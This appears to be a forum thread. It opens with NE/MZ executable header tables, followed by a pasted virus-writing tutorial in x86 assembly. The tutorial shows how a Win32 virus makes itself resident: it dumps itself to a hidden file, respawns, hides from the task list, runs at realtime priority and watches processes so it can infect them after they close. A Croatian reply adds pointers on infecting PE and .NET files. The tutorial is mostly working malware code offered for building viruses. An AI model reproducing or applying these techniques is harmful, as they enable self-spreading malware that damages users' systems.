14h DWORD initial CS:IP relative to start of executable

18h WORD offset within header of relocation table

40h or greater for new-format (NE,LE,LX,PE,etc.) executable

1Ah WORD overlay number (normally 0000h = main program)

---new executable---

1Ch 4 BYTEs ???

20h WORD behavior bits

22h 26 BYTEs reserved for additional behavior info

3Ch DWORD offset of new executable (NE,LE,etc) header within disk file,

or 00000000h if plain MZ executable

Format of new executable header:

Offset Size Description

00h 2 BYTEs "NE" (4Eh 45h) signature

02h 2 BYTEs linker version (major, then minor)

04h WORD offset from start of this header to entry table (see below)

06h WORD length of entry table in bytes

08h DWORD file load CRC (0 in Borland's TPW)

0Ch BYTE program flags (see below)

0Dh BYTE application flags (see below)

0Eh WORD auto data segment index

10h WORD initial local heap size

12h WORD initial stack size (added to data seg, 0000h if SS <> DS)

14h DWORD program entry point (CS:IP), "CS" is index into segment table

18h DWORD initial stack pointer (SS:SP), "SS" is segment index

if SS=automatic data segment and SP=0000h, the stack pointer

is set to the top of the automatic data segment, just below

the local heap

1Ch WORD segment count

1Eh WORD module reference count

20h WORD length of nonresident names table in bytes

22h WORD offset from start of this header to segment table (see below)

24h WORD offset from start of this header to resource table

26h WORD offset from start of this header to resident names table

28h WORD offset from start of this header to module reference table

2Ah WORD offset from start of this header to imported names table

(array of counted strings, terminated with a string of length

00h)

2Ch DWORD offset from start of file to nonresident names table

30h WORD count of moveable entry point listed in entry table

32h WORD file alignment size shift count

0 is equivalent to 9 (default 512-byte pages)

34h WORD number of resource table entries

36h BYTE target operating system

00h unknown

01h OS/2

02h Windows

03h European MS-DOS 4.x

04h Windows 386

05h BOSS (Borland Operating System Services)

37h BYTE other EXE flags

bit 0: supports long filenames

bit 1: 2.X protected mode

bit 2: 2.X proportional font

bit 3: gangload area

38h WORD offset to return thunks or start of gangload area

3Ah WORD offset to segment reference thunks or length of gangload area

3Ch WORD minimum code swap area size

3Eh 2 BYTEs expected Windows version (minor version first)

Note: this header is documented in detail in the Windows 3.1 SDK

Programmer's Reference, Vol 4.

Bitfields for new executable program flags:

Bit(s) Description

0-1 DGROUP type

0 = none

1 = single shared

2 = multiple (unshared)

3 = (null)

2 global initialization

3 protected mode only

4 8086 instructions

5 80286 instructions

6 80386 instructions

7 80x87 instructions

Bitfields for new executable application flags:

Bit(s) Description

0-2 application type

001 full screen (not aware of Windows/P.M. API)

010 compatible with Windows/P.M. API

011 uses Windows/P.M. API

3 is a Family Application (OS/2)

5 0=executable, 1=errors in image

6 non-conforming program (valid stack is not maintained)

7 DLL or driver rather than application

(SS:SP info invalid, CS:IP points at FAR init routine called with

AX=module handle which returns AX=0000h on failure, AX nonzero on

successful initialization)

Format of new executable segment table record:

00h WORD offset in file (shift left by align shift to get byte offs)

02h WORD length of image in file (0000h = 64K)

04h WORD segment attributes (see below)

06h WORD number of bytes to allocate for segment (0000h = 64K)

Note: the first segment table entry is entry number 1

Bitfields for segment attributes:

Bit(s) Description

0 data segment rather than code segment

1 unused???

2 real mode

3 iterated

4 movable

5 sharable

6 preloaded rather than demand-loaded

7 execute-only (code) or read-only (data)

8 relocations (directly following code for this segment)

9 debug info present

10,11 80286 DPL bits

12 discardable

13-15 discard priority

Format of new executable relocation data (immediately follows segment
image):

Offset Size Description

00h WORD number of relocation items

02h 8N BYTEs relocation items

Offset Size Description

00h BYTE relocation type

00h LOBYTE

02h BASE

03h PTR

05h OFFS

0Bh PTR48

0Dh OFFS32

'DDDDDDDDDDDD?

? Foreword ?

ADDDDDDDDDDDDSCH

Win32 residency... A while ago people said it was
impossible. My

reply back then: Bullshit!! As for the fact that I didn't have any
clue on

how to do it, is a whole other thing... Even from my very first
article I

promised I will write about this. Until now, many virus writers
researched

this and many good Windows residents were written. Please, do not
make a

confusion between the Win32 residency and the Ring0 residency. I will
talk

about Ring0 residency in another article. The Ring0 technique was
largely

used in the incipient stages of windows virus programming by
programmers

like Quantum, Zombie, Tatung, etc. The true Win32 residency, which
works

also on WindowsNT had to wait a little longer until the programmers
got a

good grip on the use of the win32 apis, and on many of the hidden
things

inside this system. One of the first ones to do so were Jacky Qwerty
(Win32.

Redemption), Virogen (Win32.Enumero) and others. Upon studying the
docs

available, I was not satisfied with the attainable methods for
scanning for

the running processes. So, I stumbled over a program from the Visual
C++ kit

called PVIEW95. While disassambling and looking in the code I found
out a

great way of doing it. The drawback: it doesn't work on
WindowsNT... But

there is another method for WindowsNT that I will discuss later.

After discovering this method and solving a damn bug with help
from

JackyQwerty, I started working on a full Win32 resident virus. It was
not a

long time until Cargo appeared. And after the virus came this
tutorial. I

will try to explain all the stuff one by one.

Even if you are eager to do a Win32 resident virus, I
recommend you

to read the basic win32 stuff as it will help you understand most
of the

explanations here. Also, a good book would be handy... The
"Win32 API

SuperBible" from ___ is a great refference. You should be familiar with
what

a process is, what a thread is and how do they get created and ran.

I will assume that we are working on a virus which holds the
delta

handle in the EBP register and the refference to an api is done like
this:

call [ebp+_]

So, the name of the real api preceded by an underscore.

Let's talk a little about the main concept behind process
spawning.

The idea is this: the infected host starts running and the
first to

receive the control is our virus. Then, the code must dump on the hard
disk

somewhere a file, a valid exe file, that contains the complete virus
body.

Then the virus must run this valid file and then return to host. It
might

look like our virus finished execution, but if you think, you realize
that

the spawned file, the one we dump on the hdd is still running. This
is the

basic, big picture idea. We will start talking about this deeper.

Before starting to talk let me explain what a mutex is. A
mutex is

actually a process relative handle. This means that whenever you
create a

new mutex, each process is able to know wether that mutex already
existed or

not. This is very important for our virus, as the mutex will
represent the

signal for our resident state. After the mutex is created one must
call

GetLastError and if eax is not 0 then it means that the mutex
already

existed, it was already created by another process. This is how
our "go

resident" part starts:

'DDDDDDDDDDDDDDDDDDDD?

? Checking residency ?

ADDDDDDDDDDDDDDDDDDDDSCH

lea eax, [ebp+mutex] ; mutex name

push eax ;

push 1 ;

push 0 ;

call [ebp+_CreateMutexA] ; create mutex

call [ebp+_GetLastError] ;

or eax, eax ; already existed??

jnz spawned ;

If execution continues here, it means that our virus in *not*
resident

so we must go resident. Otherwise, we jump to the "spawned" label
where the

resident code continues to run. The "mutex" variable points to a
null

terminated string, something like: "my resident code",0 , or
something...

'DDDDDDDDDDDDDDDDDDDDDDDDD?

? Dumping the file to HDD ?

ADDDDDDDDDDDDDDDDDDDDDDDDDSCH

There exist two methods of dumping a file to hdd. One is used
in the

Enumero viru by Virogen and it consists of carrying a second copy
of the

virus as a full PE file and dumping it. I, however, in my Cargo
virus

choosed another method, much harder, but, I think, more beautiful, if
I may

say so. (please note that JQ uses in his Redemption virus another
method,

which consists in attaching the whole virus with its PE header at
the end

of file and changing the pointer in the MZ header to point to it; I
will not

discuss this method here). My method consists in trying to dump the
host

file together with the virus from memory to disk. It might look
simple, but

it is not so simple. Remember that when in memory, the sections are
aligned

by padding to section alignment (usualy 1000h) while on disk
they are

aligned to file alignment (200h). So, we must rearrange the sections
as we

dump them to meet those requirements. Let's start. First, we must
create a

new empty file. The "spawnname" variable points to the name:

pushad ;

push 0 ; file attributes

push 0 ; ""

push 2 ; Create New File

push 0 ; Security option = default

push 1 ; File share for read

push 80000000h or 40000000h ; General write and read

lea eax, [ebp+spawnname] ;

push eax ; pointer to filename

Call [ebp+_CreateFileA] ;

;

cmp eax, -1 ; failed to create?

je exit ;

mov [ebp+filehandle], eax ; save filehandle

popad ;

After we created the file we must start checking the running
process

to see if there is any problem dumping it; we check for MS header, PE
header

and so on:

mov esi, [ebp+imagebase] ; first check that it is a

cmp word ptr [esi], 'ZM' ; valid MS-DOS file...

jne exit ;

cmp word ptr [esi.MZ_lfarlc], 40h ; check the NewExe marker

jne exit ;

mov esi, [esi.MZ_lfanew] ; locate PE header offset

add esi, [ebp+imagebase] ;

push 200h ; check if we can read

push esi ; the ammount of memo from
there

call [ebp+_IsBadReadPtr] ;

or eax, eax ;

jnz exit ;

cmp word ptr [esi], 'EP' ; is it the PE header?

jne exit ;

Now we start retrieving data we will need to dump the file:

xor eax, eax ;

mov ax, [esi.NumberOfSections] ; take number of sections

push eax ; and remember them

add esi, IMAGE_FILE_HEADER_SIZE ; go to optional header

mov edx, [esi.OH_FileAlignment] ; save file alignment

mov [ebp+filealign], edx ;

add esi, IMAGE_OPTIONAL_HEADER_SIZE ; go to the first section
header

mov ecx, IMAGE_SECTION_HEADER_SIZE ; multiplicator

mul ecx ; obtain all section
headers size

mov edx, eax ; save it to edx

push edx ; and save it on the stack

add esi, eax ; go at the end

Now we are at the end of all the headers and we can write them
down

in the destination file:

push esi ; write down all the
headers

sub esi, [ebp+imagebase] ; in the file to the new
dest

push 0 ; file.

lea edx, nob ;

push edx ;

push esi ;

push [ebp+imagebase] ;

push [ebp+filehandle] ;

call [ebp+_WriteFile] ;

pop esi ;

And now starts the hard part. Dumping the section bodies.
First we

locate the first section header:

pop edx ; restore section headers
size

pop ecx ; cx = number of sections

sub esi, edx ; go to the first section
header

;

pushad ; save all regs

Now, even if the section bodies *should* be in turn as the
section

headers show, we must be sure that we locate first the smallest
pointer to

raw data:

pushad ; save all regs

mov edi, 09999999h ; now we will try to locate
the

; smallest PointerToRawData
to

locate_smallest_pointer: ; know which section body
comes

mov eax, [esi.SH_PointerToRawData] ; first, in case they are

cmp eax, edi ; mangled relative to their

jnb still_smaller ; headers.

xchg eax, edi ;

;

still_smaller: ;

add esi, IMAGE_SECTION_HEADER_SIZE ;

loop locate_smallest_pointer ;

mov [ebp+temp], edi ;

popad ; restore registers

After doing this, we must pad a little, because the first
section

body must start at a multiple of file alignment:

push ecx ;

push edx ;

push 1 ;

push 0 ;

push 0 ;

push [ebp+filehandle] ;

call [ebp+_SetFilePointer] ; get in EAX how much we
wrote

pop edx ; already in the
destination

pop ecx ; file.

;

mov edi, [ebp+temp] ; EDI is the first data
offset

sub edi, eax ; and we must pad with the

add esi, edx ; difference!!

;

push 0 ;

lea eax, nob ;

push eax ;

push edi ;

push esi ;

push [ebp+filehandle] ;

call [ebp+_WriteFile] ; write difference!!

;

popad ; restore regs

And now we come to the real section dump part:

section_dump_loop: ; now let's dump the
sections

push ecx ; bodies.

mov edi, [esi.SH_VirtualAddress] ; take it from memory,
aligned

add edi, [ebp+imagebase] ; to imagebase

mov eax, dword ptr [esi.SH_VirtualSize]; now choose the smallest
between

mov ecx, dword ptr [esi.SH_SizeOfRawData]; VirtualSize and
SizeOfRawData

cmp ecx, eax ; to solve the
Borland/MicroSoft

jnb ok_ ; difference in linking.

xchg eax, ecx ;

Eax now holds the unaligned size of the section. In memory
it is

aligned to section align, and we must realign it to file align:

ok_:

mov ecx, [ebp+filealign] ; now we must align the
size

push eax ; before alignment to the

push ecx ; file alignment, because
in

xor edx, edx ; memory it was aligned to

div ecx ; section alignment

cmp edx, 0 ;

jne more ;

pop ecx ;

pop eax ;

jmp no_more ;

;

more: ;

pop ecx ;

sub ecx, edx ;

pop eax ;

add eax, ecx ; eax= size aligned

And now it's time to write the section body to disk:

no_more: ;

push 0 ; write the section to the

lea ecx, nob ;

push ecx ; file...

push eax ;

push edi ;

push filehandle ;

call [ebp+_WriteFile] ;

...And continue until the last section:

pop ecx ; restore index

add esi, IMAGE_SECTION_HEADER_SIZE ; get next section...

loop section_dump_loop ;

Now, we close the destination file and...

push [ebp+filehandle] ; close destination file!

call [ebp+_CloseHandle] ;

...we are over with the file dumping. Simple, huh?

A few little things to say first about the name of the spawned
file.

First of all it can be anything, no need for an .exe extension.
Second of

all, the best place to hide it would be the windows system directory,
and,

in my opinion, the best name would be .dll. Your imagination

here!

'DDDDDDDDDDDDDDDDDDD?

? Running the virus ?

ADDDDDDDDDDDDDDDDDDDSCH

Now, our spawned file is on the hdd. All we need to do is run it
as a

new process in the system. For this we must first retrieve the
startup

information which we will use later:

go_res: ; let's go resident!

lea eax, [ebp+startupinfo] ;

push eax ; get the startup info

call [ebp+_GetStartupInfoA] ;

The pointer to the startup information is used by the
call to

CreateProcess, where we start the new process:

lea eax, [ebp+processinfo] ;

push eax ; and spawn ourselves

lea eax, [ebp+startupinfo] ;

push eax ;

push 0 ;

push 0 ;

push 67108928h ;

push 0 ; do not inherit handles

push 0 ;

push 0 ;

lea eax, [ebp+spawnname] ;

push eax ;

push 0 ;

call [ebp+_CreateProcessA] ; Run the Process!!

After creating the process, the handle of the new started
process

remains opened, therefore we must close it:

lea esi, [ebp+processinfo] ; close the new process
handle

push [esi.PI_hProcess] ;

call [ebp+_CloseHandle] ;

And now, the final steps of this part of the virus:

push 1000 ; allow new process to
start

call [ebp+_Sleep] ;

;

jmp exit ; return to host!

After this, the host continues running, while the new spawned
copy of

the virus has just started and begin execution. If you look a little
above,

where we check the residency status, we checked if the mutex already
existed

or not. If it already exists, and this is the situation for the new
spawned

copy that just started, the execution continues at the next label.
Here we

must do again the mutex trick, because if somebody runs by hand the
spawned

copy again, the stuff might get complicated, so we must be assured
that the

code didn't pass through this gate twice:

spawned: ;

lea eax, [ebp+mutex2] ;

push eax ;

push 1 ; If the mutex already
existed

push 0 ; it means we are already

call [ebp+_CreateMutexA] ; resident, otherwise we
must

call [ebp+_GetLastError] ; quit!

or eax, eax ;

jnz exit ;

Now, that we are inside the resident copy of our virus, we
must do

all the stuff needed to give us maximum strength. First we must get
our own

handle and set ourself to Realtime Priority Class (highest):

call [ebp+_GetCurrentProcess] ; get then current process handle

push 100h ; realtime priority class

push eax ; handle of current process

call [ebp+_SetPriorityClass] ; set priority to realtime

Now, for Windos95/98 we can register our process as a service
in the

system, which hides our process from the CTRL-ALT-DEL list. This will
*NOT*

work on WindowsNT or Windows2000:

push 1 ; Register the current running

push 0 ; process as a service.

call [ebp+_RegisterServiceProcess];

Now, to have even more strength, we are about to create a new
thread

and set it to the highest priority. We have to create it
suspended and

resume it later:

lea eax, [ebp+threadid] ; Prepare to create a new thread
for

push eax ; the current process.

push 4 ; Create it Suspended

push 0 ;

lea eax, [ebp+VirusThread] ;

push eax ;

push 0h ;

push 0 ;

call [ebp+_CreateThread] ; do it!

;

mov [ebp+hthread], eax ; save thread handle

The new thread, where our virus will do the actual system
monitoring

is given by the address of the "VirusThread" procedure.

After creating the thread (you could check for errors also),
let us

set the priority of the new thread to Time Critical. This will give our
code

a priviledge level of 31, the highest possible. This is because the
time

critical thread is combined with a realtime class process:

push 15 ; set thread priority to

push [ebp+hthread] ; TIME_CRITICAL

call [ebp+_SetThreadPriority] ;

And now, let's resume the thread:

push [ebp+hthread] ;

call [ebp+_ResumeThread] ; start thread

The currently running thread is useless now, so we can safely
freeze

it until the other one ends. This is done by waiting for the new
thread's

handle to become signaled:

push -1 ; stop current thread and wait for

push [ebp+hthread] ; the other to finish

call [ebp+_WaitForSingleObject];

If the other thread ends, our spawned process will end also:

push 0 ; quit...

call [ebp+_ExitProcess] ;

And now let's concentrate on the actual part of the virus. The
part

which monitors the system. Let me explain once again what we have here.
Here

we have a running process, with a running thread, set to the
highest

priority possible, and invisible in the system. I hope you
realize the

strength we have now... All we need to do is find a way to check when
one of

the running processes ends, so we can infect it after closing. The
method I

will present here is the one I use in the Cargo virus. There, I
create 2

arrays of strings. I first fill up one of them, and then, from time to
time

I fill the other array and compare them. As soon as one name
dissapeares, I

infect it.

How do I get the names of the running processes? I do it
using the

toolhelp32 stuff. The apis used are as follows:

CreateToolhelpSnapshot32

Process32First

Process32Next

The first api gives us a so called snapshot handle, which is
passed

to the next two apis. The next two apis fill up a structure
called

PROCESSENTRY32, where, among all the data, we have the full
pathname and

file name for each and every running processes. I will only give
you a

guideline to the virus thread, as the meaning of this article was to
show

you how to go resident. If you want to know all the stuff exactly
check the

Cargo source code.

Now let's see how we do here... First we must retake the delta
handle

because the new thread destroys it:

VirusThread proc near ; This is the resident part.

call thread_delta ; we must get the delta again
because

; EBP gets smashed...

thread_delta: ;

pop ebp ;

sub ebp, offset thread_delta ;

And now, the main system look up loop:

again_again: ;

call FillFirstArray ; Create the first process names
array

;

again: ;

cmp [ebp+error], 1 ; if there was an error, abort!

je exit_thread ;

push 500 ;

call [ebp+_Sleep] ; sleep half a second

call FillSecondArray ; Create the second process names
array

call CompareArrays ; compare the arrays

jnc again ; and loop...

jmp again_again ;

If an error occurs, we can safely quit:

exit_thread: ;

push 0 ; finish current thread...

call [ebp+_ExitThread] ;

FillFirstArray proc near ;

... ;

FillFirstArray endp ;

;

FillSecondArray proc near ;

... ;

FillSecondArray endp ;

Here we have the procedure that locates all the running
processes in

the system:

WalkProcesses proc near ; Get the running processes...

push 0 ; snap for the current process

push 2 ; snap processes

call [ebp+_CreateToolhelp32Snapshot] ; create toolhelp handle

mov [ebp+t32h], eax ; save toolhelp handle

cmp eax, -1 ; was it a failure?

je exit ;

;

lea eax, [ebp+process32] ; point the process32 structure

push eax ;

mov ecx, dword ptr [ebp+t32h] ;

push ecx ;

call [ebp+_Process32First] ; get first process

or eax, eax ; no process?

jz exit ; (thx JQwerty for the bug
solving!)

;

call init_memo ; init memory array!

cmp [ebp+error], 1 ; if error, it means we don't have

je no_next ; enough memory...

;

next: ;

lea eax, [ebp+process32] ; get next process

push eax ;

mov ecx, dword ptr [ebp+t32h] ;

push ecx ;

call [ebp+_Process32Next] ;

or eax, eax ;

jz no_next ;

call incr_memo ; increment memory array!

cmp [ebp+error], 1 ;

je no_next ;

jmp next ;

;

no_next: ;

push [ebp+t32h] ; close the toolhelp handle...

call [ebp+_CloseHandle] ;

ret ;

The calls to init_memo and incr_memo routines are not
relevant for

this article. Just check them in the source of the Cargo virus.

Everytime we notice that one process has ended, we can
call a

routine, like for example the one that follows. This one displays a
message

box with the name of the closed process:

HandleClosedProc
[ Sundance @ 28.10.2004. 23:16 ] @
Molio bih da ubuduce ovakve "kobasice" zakacis kao attachment :)

Ovaj tut je star skoro 10 godina. Ako stvarno zelis nauciti teoriju infekcije PE datoteke najbolje bi bilo da procitas neke tute-ove o strukturi Portable Executable formata, sta znace koja polja u File Headeru, Optional Headeru, kako koristiti data directory, export tablice za nalazenje adresa API-ja i sl...

Vecina njih su napisani za pure win32asm tako da ces trebati nauciti i kojih 20-ak osnovnih instrukcija i sta rade :)

Vec danas, a nakon izlaska longhorn tehnologija (avalon, indigo, blabla...opcenito svega baziranog na winFX), postaje normalno i nasiroko distrubuiran PE format sa managed ekstenzijama. .idata sekcija (ako postoji) importa samo jednu fju iz mscoree.dll (_CorExeMain/_CorDllMain) koja incijalizira CLR. U taj novi PE format jos su dodani CLR header, jos jedan entry u data directory broj 14, metapodaci te sam IL kod.

Mozes doduse inficirati taj mali 6-bajtni stub koji JMP-a na importanu fju u win32asm, a ako si vjest u MSIL (Intermidiate Language), mozes pokusati petljati nesto sa IL kodom. Mislim da ovo zadnje nece raditi sa strong-named assemblyima jerbo oni imaju u FileDef polju u definition tablici metapodataka pohranjen SHA-1 hash svakog od managed modula unutar assemblya i jos imaju sadrzaj cijele datoteke hashiran i potpisan 1024-bitnim RSA kljucem. Neke od ovih tehnika su spomenute u zadnjem izdanju e-zinea poznate vx grupe 29a - www.29a.host.sk

U svakom slucaju, ako zelis nesto korisno napraviti morat ces dobro ugrijati stolicu nekoliko tjedana, ako zelis samo koristiti vec gotovu komponentu pa drag and drop i podesiti u properties koje ce datoteke inficirati morat cu te nazalost razocarati jer takvo nesto ne postoji. Tko zna - zna X=)